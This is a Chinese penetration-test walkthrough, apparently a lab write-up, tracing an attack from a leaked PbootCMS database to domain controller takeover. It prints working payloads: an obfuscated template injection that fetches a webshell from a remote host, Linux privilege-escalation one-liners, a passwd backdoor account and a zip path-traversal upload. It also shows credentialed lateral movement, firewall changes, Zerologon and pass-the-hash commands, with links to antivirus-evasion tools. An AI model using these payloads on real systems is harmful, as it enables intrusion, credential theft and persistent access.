从敏感文件到CVE拿下域控
项目拓扑
摘要:敏感文件、PbootCMS RCE、绕过宝塔执行命令、linux提权、免杀过360全家桶、jspxcms后台目录穿越getshell、域控攻击等等。
外网打点
端口扫描,发现如下端口。
访问80端口,提示绑定域名,绑定hosts重新访问。
是一个PBOOTCMS,前台没什么可看的。
直接访问robots.txt,应该是后台地址了。尝试默认弱口令,但是没什么用。
目录扫描
获取到数据库登录账号密码,但是这里不能连接数据库。
尝试下载/data/c6613b090db86e60916afb3af6f923d2.db文件。很好。
两次md5解密成功获取到后台登陆账号密码。
此处还可能存在CVE-2023-39834命令执行漏洞,但是poc还没有公开
PbootCMS v2.0.8 后台getshell:https://www.secpulse.com/archives/139547.html
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['p','h','p','i','n','f','o'])))}!!!{/pboot:if}
在本地生成一个x.php文件,当访问x.php文件时,会将远程服务器上txt文件中的马写入到winshe.php文件
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['x','.php']),
implode('',['<?php
file_','put_','contents(','"winshe.php",','file','_get_','contents("','http://ip:port/x.txt
"));?>'])))}!!!{/pboot:if}
使用冰蝎成功获取到webshell。
尝试执行命令,但是发现被限制了。
发现好多函数都被限制了,无法执行命令。
使用github一个项目代码绕过:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
查看home目录,发现存在用户cf1,将ssh私钥文件复制到本地。
ssh成功获取到cf1权限。
Linux提权
(1)CVE-2023-32629提权
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import pty;import os;os.setuid(0);pty.spawn("/bin/bash")'
此时已经获取到root权限
(2)docker提权
通过上面的id,发现用户cf1处于docker组里面,所以就可以利用alpine镜像将宿主机/etc目录挂载到容器的/mnt目录下,这样就获取到了宿主机的root权限。
docker run -v /etc:/mnt -it alpine
为了方便添加一个管理员账号
openssl passwd -1 --salt admin
echo "admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash" >> passwd
内网渗透
msf反向代理上线Metasploit
IP地址:192.168.40.131
fscan扫描192.168.40.0网段,存在8080和3306端口
这里上传npc,创建socks5代理,通过公网连接
nps服务端显示socks5代理状态开放
Proxifier添加代理访问 http://192.168.40.178:8080
在网站底部找到网站后台地址
admin:123456登录后台。
jspxcms后台目录穿越getshell:https://blog.csdn.net/qq_53742230/article/details/126545434
import zipfile
zip = zipfile.ZipFile("winsha.zip",'w',zipfile.ZIP_DEFLATED)
with open("winsha.war","rb") as f:
data=f.read();
zip.writestr("../../../winsha.war",data)
zip.close()
利用脚本将../../../winsha.war压缩到winsha.zip文件中。
上传压缩包
添加代理成功连接冰蝎
并且当前是administrator权限
杀软识别,发现存在360查杀和微软自带杀软。
免杀上线msf(这里使用Github比较好用的免杀项目:https://github.com/snnxyss/In-Swor/)
获取密码hash,先尝试是否可以解密;解密失败再考虑获取明文。
这里md5解密成功。
接下来开启3389端口,使用命令开启3389端口,然后目标上查看端口显示已经开启。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
但是尝试通过代理连接的时候,显示无法连接;这就奇怪了,先代理nmap扫描一下端口,发现是filtered状态,为了确认是否是代理的问题,又扫描了8080端口,发现是开启的。此时,问题已经很明显了,防火墙设置了入站规则。
这里出站和入站规则都需要设置,否则还是无法正常连接远程桌面。
远程桌面连接成功后,先关闭360查杀和主动防御。
# 添加3389端口入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 添加3389端口出站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=out localport=3389 action=allow
域渗透
信息收集,发现当前目标上还存在10.10.1.129的IP地址。
接下来先对这个网段进行一下端口扫描,因为代理扫描太慢,我就直接上传到目标上扫描。
扫描10.10.1.128,只扫描到一个445端口。
ipc访问文件服务器
这里我使用的是正向攻击载荷,然后使用掩日2.0免杀即可。
先将后门上传到10.10.1.129这台服务器上,然后再通过ipc链接上传到10.10.1.128
copy C:\qq.exe \\10.10.1.128\c$\windows\temp\qq.exe
此时,上线之前还需要添加ipsec入站规则
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.1.129 connectport=7777
netsh interface portproxy delete v4tov4 listenport=7777 # 删除规则
netsh interface portproxy show all
这里尝试用at命令来设置固定时间执行,但是at命令已经弃用。
at time \\10.10.1.128 12:29:00 c:/windows/temp/qq.exe
使用如下命令都无法成功执行。
schtasks /create /sc daily /st 12:41 /tn "QQ Task" /tr "c:\windows\temp\qq.exe" /sc daily
SCHTASKS /Create /S 10.10.1.128 /u administrator /p QWEasd123 /SC ONCE
/ST 12:33 /TN qq /TR c:\windows\temp\qq.exe /RU system
psexec横向获取文件服务器的命令行,从而执行后门上线Metasploit。
PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 cmd
接下来对文件服务器10.10.1.128进行信息收集,发现10.10.10.0段网卡的DNS地址不是网关,可能存在域控。
查看域列表,但是这里执行被限制了。
查看邻居IP,发现是存在10.10.10.139的,端口扫描
10.10.10.139开放如下端口,从开放的端口来看,域控无疑了。
CVE-2020-1472:https://github.com/dirkjanm/CVE-2020-1472/
将域控DC的密码置换为空。
proxychains4 python3 CVE-2020-1472.py dc$ 10.10.10.139
此时使用空密码登陆域控,将密码hash全部导出。
proxychains4 python3 secretsdump.py fbi/dc\$@10.10.10.139 -just-dc -hashes :
smbexec是支持hash登陆的,所以拿下域控权限。
proxychains4 python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 Administrator@10.10.10.139
项目获取
认准暗月官方网站:https://edu.moonsec.com/